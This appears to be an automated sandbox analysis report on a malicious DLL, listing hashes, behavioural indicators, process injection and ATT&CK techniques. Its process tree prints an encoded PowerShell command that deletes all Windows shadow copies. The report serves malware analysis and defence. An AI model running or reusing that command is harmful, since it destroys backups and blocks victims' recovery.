d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566

General

Target
d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll
Size 115KB
Sample220124-bbg7yshbc4
SHA256 d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566
MD5 c6d639df4492e2068602b744a25d6ed1
SHA1 f033e072e82752db352057f4c61fc2a7a590d194
SHA512 a83fd29d81fe2b0fd0d982878f4f042b78385229f69299b803cf27efbbb83f500b9479d90b09fb7bdd4abd7aa85db7b1074cdd4b903775eced5b17529271558c
MD5 SHA1 SHA512

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1096	rundll32.exe
476	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	rundll32.exe
Token: SeDebugPrivilege	476	powershell.exe
Token: SeBackupPrivilege	896	vssvc.exe
Token: SeRestorePrivilege	896	vssvc.exe
Token: SeAuditPrivilege	896	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1944 wrote to memory of 1096	1944	rundll32.exe	27
PID 1096 wrote to memory of 476	1096	rundll32.exe	28
PID 1096 wrote to memory of 476	1096	rundll32.exe	28
PID 1096 wrote to memory of 476	1096	rundll32.exe	28
PID 1096 wrote to memory of 476	1096	rundll32.exe	28

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\d50a0928e267b860e59f4162023ba9e3b004eaf0698595c4e24c69e2e9091566.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:476

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1044

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:896

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/476-56-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

Download

memory/476-58-0x0000000002880000-0x0000000002882000-memory.dmp

Download

memory/476-59-0x0000000002882000-0x0000000002884000-memory.dmp

Download

memory/476-60-0x0000000002884000-0x0000000002887000-memory.dmp

Download

memory/476-57-0x000007FEF3370000-0x000007FEF3ECD000-memory.dmp

Download

memory/476-61-0x000000001B840000-0x000000001BB3F000-memory.dmp

Download

memory/476-62-0x000000000288B000-0x00000000028AA000-memory.dmp

Download

memory/1096-55-0x00000000760F1000-0x00000000760F3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads